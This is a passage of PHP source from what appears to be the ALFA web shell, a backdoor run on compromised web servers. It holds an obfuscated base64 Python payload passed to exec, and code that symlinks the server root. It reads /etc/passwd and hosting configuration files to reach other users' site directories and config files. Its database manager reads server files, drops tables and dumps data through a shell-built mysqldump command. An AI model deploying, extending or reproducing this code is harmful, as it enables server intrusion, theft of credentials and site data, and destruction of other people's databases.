RDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+/1Q9VVMczKb2/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT/zuhH3mJkF7M13gtOVpxkc30NE2wpzm/Omm6taJbZo+iN8Qes/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE/VO31h4uKgCXRQLG9cQ8I8VXd5/gDJZHIJUAzqo17XBJMJf/Djb6Q2SQa0/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC/gejBmkk\")),'<string>','exec'))";
        $cginame = "symperl.alfa";
        $source = $perl;
        $lang = "perl";
        if ($_POST["alfa2"] == "sympy") {
            $cginame = "pysymlink.alfa";
            $source = $py;
            $lang = "python";
        }
        @__write_file($cginame, $source);
        @chmod($cginame, 0755);
        echo __pre();
        $resource = alfaEx("{$lang} {$cginame} {$sympath}", false, true, true);
        if (strlen($resource) == 0) {
            echo AlfaiFrameCreator('cgialfa/' . $cginame);
        } else {
            echo $resource;
        }
    }
    if (isset($_POST['alfa4']) && $_POST['alfa4'] == 'SymFile') {
        if (function_exists('symlink') || _alfa_can_runCommand(true, true)) {
            AlfaNum(9, 10);
            echo __pre() . '
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
            $path = $_POST['alfa5'];
            $symname = $_POST['alfa6'];
            $solevisible58 = $_POST['alfa7'];
            if ($solevisible58) {
                $new_name = str_replace(".", "_", basename($symname));
                $rand_dir = $new_name . rand(111, 9999);
                $sym_dir = 'alfasymlinkphp/' . $rand_dir . '/';
                @mkdir($sym_dir, 0777, true);
                alfacgihtaccess('sym', $sym_dir, $symname);
                _alfa_symlink("{$path}", "{$sym_dir}/{$symname}");
                echo __pre();
                echo "<center><b><font color=\"white\">Click >> </font><a target=\"_blank\" href=\"ALFA_DATA/" . $sym_dir . '" ><b><font size="4">' . $symname . '</font></b></a></b></center>';
            }
        } else {
            echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'symphp') {
        $cant_symlink = true;
        if (function_exists('symlink') || _alfa_can_runCommand(false, false)) {
            @mkdir('alfasymlink', 0777);
            alfacgihtaccess('sym', 'alfasymlink/');
            _alfa_symlink('/', 'alfasymlink/root');
            $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
            if (_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")) {
                echo "<center>";
                $lines = array();
                $anony_domains = array();
                $anonymous_users = array();
                $f_black = array();
                $error = false;
                $anonymous = false;
                $makepwd = "/home/{user}/public_html/";
                $domains = alfaGetDomains();
                $lines = $domains["lines"];
                $state = $domains["state"];
                $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
                $can_runcmd = _alfa_can_runCommand(false, false);
                if (!$is_posix && !$can_runcmd) {
                    $anonymous = true;
                    $anony_domains = $domains["lines"];
                    $lines = _alfa_file('/etc/passwd');
                }
                echo $table_header;
                $count = 1;
                $template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"{http}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{domain}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{owner}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{sympath}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
                foreach ($lines as $line) {
                    $domain = "";
                    $owner = "";
                    if ($anonymous) {
                        $explode = explode(":", $line);
                        $owner = $explode[0];
                        $owner_len = strlen($owner) - 1;
                        $userid = $explode[2];
                        if ((int) $userid < 500) {
                            continue;
                        }
                        $domain = "[?????]";
                        $temp_black = array();
                        $finded = false;
                        foreach ($anony_domains as $anony) {
                            if ($state == "named.conf") {
                                if (@strstr($anony, 'zone')) {
                                    preg_match_all('#zone "(.*)"#', $anony, $data);
                                    $domain = $data[1][0];
                                } else {
                                    continue;
                                }
                            } elseif ($state == "named" || $state == "valiases") {
                                if ($anony == "." || $anony == "..") {
                                    continue;
                                }
                                if ($state == "named") {
                                    $anony = rtrim($anony, ".db");
                                }
                                $domain = $anony;
                            }
                            $sub_domain = str_replace(array("-", "."), "", $domain);
                            if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) {
                                if (in_array($owner . $domain, $temp_black)) {
                                    continue;
                                }
                                $sympath = str_replace("{user}", $owner, $makepwd);
                                $http = "http://" . $domain;
                                echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
                                $count++;
                                $temp_black[] = $owner . $domain;
                                $finded = true;
                            }
                        }
                        if (!$finded) {
                            $anonymous_users[] = $owner;
                        }
                    } else {
                        if ($state == "named.conf") {
                            if (@strstr($line, 'zone')) {
                                preg_match_all('#zone "(.*)"#', $line, $data);
                                $domain = $data[1][0];
                            } else {
                                continue;
                            }
                        } elseif ($state == "named" || $state == "valiases") {
                            if ($line == "." || $line == "..") {
                                continue;
                            }
                            if ($state == "named") {
                                $line = rtrim($line, ".db");
                            }
                            $domain = $line;
                        }
                        if (strlen(trim($domain)) > 2 && $state != "passwd") {
                            if (!_alfa_file_exists('/etc/valiases/' . $domain, false)) {
                                continue;
                            }
                            if ($is_posix) {
                                $user = @posix_getpwuid(@fileowner('/etc/valiases/' . $domain));
                                $owner = $user["name"];
                            } elseif ($can_runcmd) {
                                $owner = alfaEx("stat -c '%U' /etc/valiases/" . $domain, false, false);
                            }
                        }
                    }
                    if (!$anonymous) {
                        if (strlen($owner) == 0 || in_array($owner . $domain, $f_black)) {
                            continue;
                        }
                        $sympath = str_replace("{user}", $owner, $makepwd);
                        $http = "http://" . $domain;
                        if ($state == "passwd") {
                            $http = "javascript:alert('we cant find domain...')";
                        }
                        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
                        $count++;
                        $f_black[] = $owner . $domain;
                    }
                }
                if ($anonymous) {
                    foreach ($anonymous_users as $owner) {
                        $sympath = str_replace("{user}", $owner, $makepwd);
                        $http = "javascript:alert('we cant find domain...')";
                        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
                        $count++;
                    }
                }
                $cant_symlink = false;
            } else {
                $is_direct = false;
                $makepwd = alfaMakePwd();
                if (_alfa_file_exists("/etc/virtual/domainowners")) {
                    $makepwd = "/home/{user}/public_html";
                    $is_direct = true;
                }
                $sole = _alfa_file("/etc/virtual/domainowners");
                $count = 1;
                echo $table_header;
                $template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"http://www.{url}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{url}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{user}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{cwd}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
                if ($sole) {
                    foreach ($sole as $visible) {
                        if (@strstr($visible, ":")) {
                            $solevisible = explode(':', $visible);
                            $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
                            echo str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
                        }
                    }
                } else {
                    $passwd = _alfa_file("/etc/passwd");
                    if ($passwd) {
                        $html = "";
                        $is_named = false;
                        $users = array();
                        $domains = array();
                        $uknowns = array();
                        foreach ($passwd as $user) {
                            $user = trim($user);
                            $expl = explode(":", $user);
                            if ((int) $expl[2] < 500) {
                                continue;
                            }
                            $users[$expl[0]] = $expl[5];
                        }
                        $site_domains = @scandir("/etc/virtual/");
                        if (!$site_domains) {
                            $site_domains = alfaEx("ls /etc/virtual/");
                            $site_domains = explode("\n", $site_domains);
                            if (!$site_domains) {
                                $site_domains = _alfa_file("/etc/named.conf");
                                if ($site_domains) {
                                    $is_named = true;
                                }
                            }
                        }
                        foreach ($site_domains as $line) {
                            if ($is_named) {
                                if (@strstr($line, 'zone')) {
                                    preg_match_all('#zone "(.*)"#', $line, $data);
                                    $domain = $data[1][0];
                                    if (strlen($domain > 2) && !empty($domain)) {
                                        $domains[] = $domain;
                                    }
                                }
                            } else {
                                $domains[] = $line;
                            }
                        }
                        $x = 1;
                        foreach ($users as $user => $home) {
                            foreach ($domains as $domain) {
                                $user_len = strlen($user) - 1;
                                $sub_domain = str_replace(array("-", "."), "", $domain);
                                $five_user = substr($user, 0, $user_len);
                                $five_domain = substr($sub_domain, 0, $user_len);
                                if ($five_user == $five_domain) {
                                    if ($is_direct) {
                                        $cwd = str_replace("{user}", $user, $makepwd);
                                    } else {
                                        $expl = explode("}/", $makepwd);
                                        $cwd = $home . "/" . $expl[1];
                                    }
                                    $html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
                                } else {
                                    $uknowns[$user] = $home;
                                }
                            }
                        }
                        $uknowns = array_unique($uknowns);
                        foreach ($uknowns as $user => $home) {
                            if ($is_direct) {
                                $cwd = str_replace("{user}", $user, $makepwd);
                            } else {
                                $expl = explode("}/", $makepwd);
                                $cwd = $home . "/" . $expl[1];
                            }
                            $html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
                        }
                        echo $html;
                    }
                }
                echo "</table>";
                $cant_symlink = false;
            }
        } else {
            echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
            $cant_symlink = false;
        }
        if ($cant_symlink) {
            echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><font color=\"#FFFFFF\">Error...</font></b><br>";
        }
        echo "</center></table>";
    }
    echo "</div>";
    alfafooter();
}
function alfasql()
{
    class DbClass
    {
        public $type;
        public $link;
        public $res;
        public $mysqli_connect_error = false;
        public $mysqli_connect_error_msg = "";
        function __construct($type)
        {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case 'mysql':
                    if ($this->link = @mysqli_connect($host, $user, $pass, $dbname)) {
                        return true;
                    } else {
                        $this->mysqli_connect_error = true;
                        $this->mysqli_connect_error_msg = mysqli_connect_error();
                        return false;
                    }
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if (!$host[1]) {
                        $host[1] = 5432;
                    }
                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function selectdb($db)
        {
            switch ($this->type) {
                case 'mysql':
                    if (@mysqli_select_db($db)) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function query($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = @mysqli_query($this->link, $str);
                case 'pgsql':
                    return $this->res = @pg_query($this->link, $str);
            }
            return false;
        }
        function fetch()
        {
            $res = func_num_args() ? func_get_arg(0) : $this->res;
            switch ($this->type) {
                case 'mysql':
                    return @mysqli_fetch_assoc($res);
                case 'pgsql':
                    return @pg_fetch_assoc($res);
            }
            return false;
        }
        function listDbs()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->query("SHOW databases");
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
            }
            return false;
        }
        function listTables()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
            }
            return false;
        }
        function error()
        {
            switch ($this->type) {
                case 'mysql':
                    return @mysqli_error($this->link);
                case 'pgsql':
                    return @pg_last_error();
            }
            return false;
        }
        function setCharset($str)
        {
            switch ($this->type) {
                case 'mysql':
                    if (function_exists('mysql_set_charset')) {
                        return @mysqli_set_charset($this->link, $str);
                    } else {
                        $this->query('SET CHARSET ' . $str);
                    }
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
            }
            return false;
        }
        function loadFile($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                case 'pgsql':
                    $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '" . addslashes($str) . "';select file from solevisible;");
                    $r = array();
                    while ($i = $this->fetch()) {
                        $r[] = $i['file'];
                    }
                    $this->query('drop table solevisible');
                    return array('file' => implode("\n", $r));
            }
            return false;
        }
    }
    $db = new DbClass($_POST['type']);
    alfahead();
    $form_visibility = "table";
    if (isset($_POST['sql_host'])) {
        $connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        if ($connection_db && !empty($_POST['sql_base'])) {
            $form_visibility = "none";
        }
    }
    $database_list = array();
    echo "\r\n<div class='header' style='min-height:300px;'>" . ($form_visibility != "none" ? "<center><div class='txtfont_header'>| Sql Manager |</div><p>" . getConfigHtml('all') . "</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>" : "") . "\r\n<div class='sf' class='db-opt-id'><table style='margin: 0 auto;" . ($form_visibility == "none" ? "display:none;" : "") . "' cellpadding='2' cellspacing='0'><tr>\r\n<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>\r\n<td><select name='type'><option value='mysql' selected>mysql</option></select></td>\r\n<td><input type='text' name='sql_host' id='db_host' value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>\r\n<td><input type='text' name='sql_login' id='db_user' value='" . (empty($_POST['sql_login']) ? '' : htmlspecialchars($_POST['sql_login'])) . "'></td>\r\n<td><input type='text' name='sql_pass' id='db_pw' value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
    $tmp = "<input type='text' name='sql_base' id='db_name' value='" . (empty($_POST['sql_base']) ? '' : htmlspecialchars($_POST['sql_base'])) . "'>";
    if (isset($_POST['sql_host'])) {
        if ($connection_db) {
            $db->setCharset('utf8');
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while ($item = $db->fetch()) {
                list($key, $value) = each($item);
                $database_list[] = $value;
                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
            }
            echo "</select>";
        } else {
            echo $tmp;
        }
    } else {
        echo $tmp;
    }
    $curr_mysql_id = $_POST['current_mysql_id'];
    echo "</td>\r\n<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>\r\n<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>\r\n</tr>\r\n</table>";
    if ($db->mysqli_connect_error) {
        echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">' . $db->mysqli_connect_error_msg . '</div>';
    }
    if (!empty($curr_mysql_id)) {
        $sql_title_db = "";
        if (!empty($_POST['sql_base'])) {
            $sql_title_db = "d.querySelector('#tab_" . $curr_mysql_id . " span').innerHTML='" . addslashes($_POST['sql_base']) . "';";
        }
        echo "<script>mysql_cache['" . $curr_mysql_id . "']['host']='" . addslashes($_POST['sql_host']) . "';mysql_cache['" . $curr_mysql_id . "']['user']='" . addslashes($_POST['sql_login']) . "';mysql_cache['" . $curr_mysql_id . "']['pass']='" . addslashes($_POST['sql_pass']) . "';mysql_cache['" . $curr_mysql_id . "']['db']='" . addslashes($_POST['sql_base']) . "';mysql_cache['" . $curr_mysql_id . "']['charset']='" . addslashes($_POST['charset']) . "';mysql_cache['" . $curr_mysql_id . "']['type']='" . addslashes($_POST['type']) . "';mysql_cache['" . $curr_mysql_id . "']['count']='" . addslashes($_POST['sql_count']) . "';" . $sql_title_db . "alfaConnectionHistoryUpdate();</script>";
    }
    if (isset($db) && $db->link) {
        if (!empty($_POST['sql_base'])) {
            echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='" . (empty($_POST['sql_count']) ? "false" : "true") . "' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
            foreach ($database_list as $db_name) {
                echo '<li><div class="block"><i></i><b></b><a sql_count="' . (empty($_POST['sql_count']) ? "false" : "true") . '" db_target="' . $db_name . '" onclick="alfaMysqlExpander(this);" class="expander cls-' . $db_name . '-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/' . ($db_name == $_POST['sql_base'] ? "b_minus.png" : "b_plus.png") . '" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">' . $db_name . '</span><div class="clearfloat"></div><div db_name="' . $db_name . '" mode="' . ($db_name == $_POST['sql_base'] ? "loaded" : "no") . '" class="list_container cls-' . $db_name . '"><div>';
                if ($db_name == $_POST['sql_base']) {
                    $db->selectdb($_POST['sql_base']);
                    $tbls_res = $db->listTables();
                    echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-' . $db_name . '" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
                    while ($item = $db->fetch($tbls_res)) {
                        list($key, $value) = each($item);
                        if (!empty($_POST['sql_count'])) {
                            $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `' . $value . '`'));
                        }
                        $value = htmlspecialchars($value);
                        echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a class='db-opt-id' db_target='" . $db_name . "' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'" . $value . "')\"><span class='mysql_tables' style='font-weight:unset;'>" . $value . "</span></a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
                    }
                    echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-' . $db_name . '" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-' . $db_name . '" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="' . $db_name . '" target=".cls-' . $db_name . '" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
                }
                echo "</div></li>";
            }
            echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='" . $_POST['sql_base'] . "' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
        }
        echo "</table></div>";
        echo "</div>";
    } else {
        echo htmlspecialchars($db->error());
    }
    echo "</div>";
    alfafooter();
}
function alfaSql_manager_api()
{
    $db = $_POST["alfa1"];
    $type = $_POST["alfa2"];
    $sql_count = $_POST["alfa3"] == "true" ? true : false;
    $db = @json_decode($db, true);
    $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
    @mysqli_set_charset($conn, "utf8");
    if ($conn) {
        if ($type == "load_all_tables") {
            $tables = array();
            $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('" . implode("','", $db["databases"]) . "');");
            $count = 0;
            while ($row = @mysqli_fetch_assoc($q_tables)) {
                if ($sql_count) {
                    $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row["table_schema"] . '`.`' . $row["table_name"] . '`');
                    if ($count_q) {
                        $count = @mysqli_fetch_row($count_q);
                        $count = $count[0];
                    }
                }
                $tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int) $count);
            }
            foreach ($db["databases"] as $db) {
                if (!isset($tables[$db])) {
                    $tables[$db] = null;
                }
            }
            echo @json_encode($tables);
        } elseif ($type == "dump_drop") {
            if ($db["mode"] == "drop") {
                foreach ($db["tables"] as $table) {
                    @mysqli_query($conn, "DROP TABLE `" . $table . "`;");
                }
                $tables = array();
                $q_tables = @mysqli_query($conn, "SHOW TABLES;");
                $count = 0;
                while ($row = @mysqli_fetch_array($q_tables)) {
                    if ($sql_count) {
                        $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
                        if ($count_q) {
                            $count = @mysqli_fetch_row($count_q);
                            $count = $count[0];
                        }
                    }
                    $tables[] = array("name" => $row[0], "count" => (int) $count);
                }
                echo @json_encode($tables);
            } else {
                if (strlen(alfaEx("mysqldump")) > 0) {
                    alfaEx("mysqldump --single-transaction --host=\"" . $db["host"] . "\" --user=\"" . $db["user"] . "\" --password=\"" . $db["pass"] . "\" " . $db["db"] . " " . implode(" ", $db["tables"]) . "  > " . $db["dump_file"]);
                } else {
                    $fp = @fopen($db["dump_file"], "w");
                    foreach ($db["tables"] as $table) {
                        $res = @mysqli_query($conn, 'SHOW CREATE TABLE `' . $table . '`');
                        $create = @mysqli_fetch_array($res);
                        $sql = "DROP TABLE IF EXISTS `" . $table . "`;\n" . $create[1] . ";\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                        $tbl_data = @mysqli_query($conn, 'SELECT * FROM `' . $table . '`');
                        $head = true;
                        while ($item = @mysqli_fetch_assoc($tbl_data)) {
                            $columns = array();
                            foreach ($item as $k => $v) {
                                if ($v == null) {
                                    $item[$k] = "''";
                                } elseif (is_numeric($v)) {
                                    $item[$k] = $v;
                                } else {
                                    $item[$k] = "'" . @mysqli_real_escape_string($conn, $v) . "'";
                                }
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
                                $head = false;
                            } else {
                                $sql = "\n\t,(" . implode(", ", $item) . ')';
                            }
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                        }
                        if (!$head) {
                            if ($fp) {
                                fwrite($fp, ";\n\n");
                            } else {
                                echo ";\n\n";
                            }
                        }
                    }
                }
                echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
            }
        } elseif ($type == "load_tables") {
            $tables = array();
            $q_tables = @mysqli_query($conn, "SHOW TABLES;");
            $count = 0;
            while ($row = @mysqli_fetch_array($q_tables)) {
                if ($sql_count) {
                    $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
                    if ($count_q) {
                        $count = @mysqli_fetch_row($count_q);
                        $count = $count[0];
                    }
                }
                $tables[] = array("name" => $row[0], "count" => (int) $count);
            }
            echo @json_encode($tables);
        } elseif ($type == "alter") {
            $db["alter"]["type"] = strtolower($db["alter"]["type"]);
            $inputs = $db["alter"]["type"] . "(" . $db["alter"]["input"] . ")";
            $text_input = array("longtext", "text", "mediumtext", "tinytext");
            if (in_array($db["alter"]["type"], $text_input)) {
                $inputs = $db["alter"]["type"];
            }
            @mysqli_query($conn, "ALTER TABLE `" . $db["table"] . "` MODIFY COLUMN `" . $db["column"] . "` " . $inputs);
            $error = @mysqli_error($conn);
            if ($error) {
                echo $error;
            } else {
                echo "ok";
            }
        } elseif ($type == "edit" || $type == "delete" || $type == "delete_all") {
            if ($type == "edit") {
                $q = @mysqli_query($conn, "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` = '" . addslashes($db["key"]) . "' LIMIT 0,1");
                $row = @mysqli_fetch_assoc($q);
                if ($row) {
                    $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
                    $columns = array();
                    $edit_data = array();
                    while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                        $input = array("col_type" => $row2["COLUMN_TYPE"]);
                        $row2["type"] = strtolower($row2["type"]);
                        switch ($row2["type"]) {
                            case "longtext":
                            case "text":
                            case "mediumtext":
                            case "tinytext":
                                $input["tag"] = "textarea";
                                break;
                            case "int":
                            case "smallint":
                            case "bigint":
                            case "tinyint":
                            case "mediumint":
                                $input["tag"] = "input";
                                $input["type"] = "number";
                                break;
                            default:
                                $input["tag"] = "input";
                                $input["type"] = "text";
                        }
                        $columns[$row2["name"]] = $input;
                    }
                    foreach ($row as $key => $v) {
                        $edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
                    }
                    echo @json_encode($edit_data);
                }
            } else {
                if ($type == "delete_all") {
                    $rows = implode("', '", $db["rows"]);
                } else {
                    $rows = addslashes($db["key"]);
                }
                $query = "DELETE FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` IN ('" . $rows . "')";
                @mysqli_query($conn, $query);
                $error = @mysqli_error($conn);
                if ($error) {
                    $status = false;
                } else {
                    $status = true;
                }
                echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
            }
        } elseif ($type == "update") {
            $query = "UPDATE `" . $db["db"] . "`.`" . $db["table"] . "` SET ";
            foreach ($db["data"] as $col => $val) {
                $query .= "`" . $col . "` = '" . mysqli_real_escape_string($conn, $val) . "',";
            }
            $query = substr($query, 0, -1);
            $query .= "WHERE `" . $db["col_key"] . "` = '" . $db["key"] . "'";
            $res = @mysqli_query($conn, $query);
            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
        } elseif ($type == "insert") {
            $query = "INSERT INTO `" . $db["db"] . "`.`" . $db["table"] . "` ";
            foreach ($db["data"] as $col => $val) {
                $cols .= $col . ",";
                $vals .= "'" . mysqli_real_escape_string($conn, $val) . "',";
            }
            $cols = substr($cols, 0, -1);
            $vals = substr($vals, 0, -1);
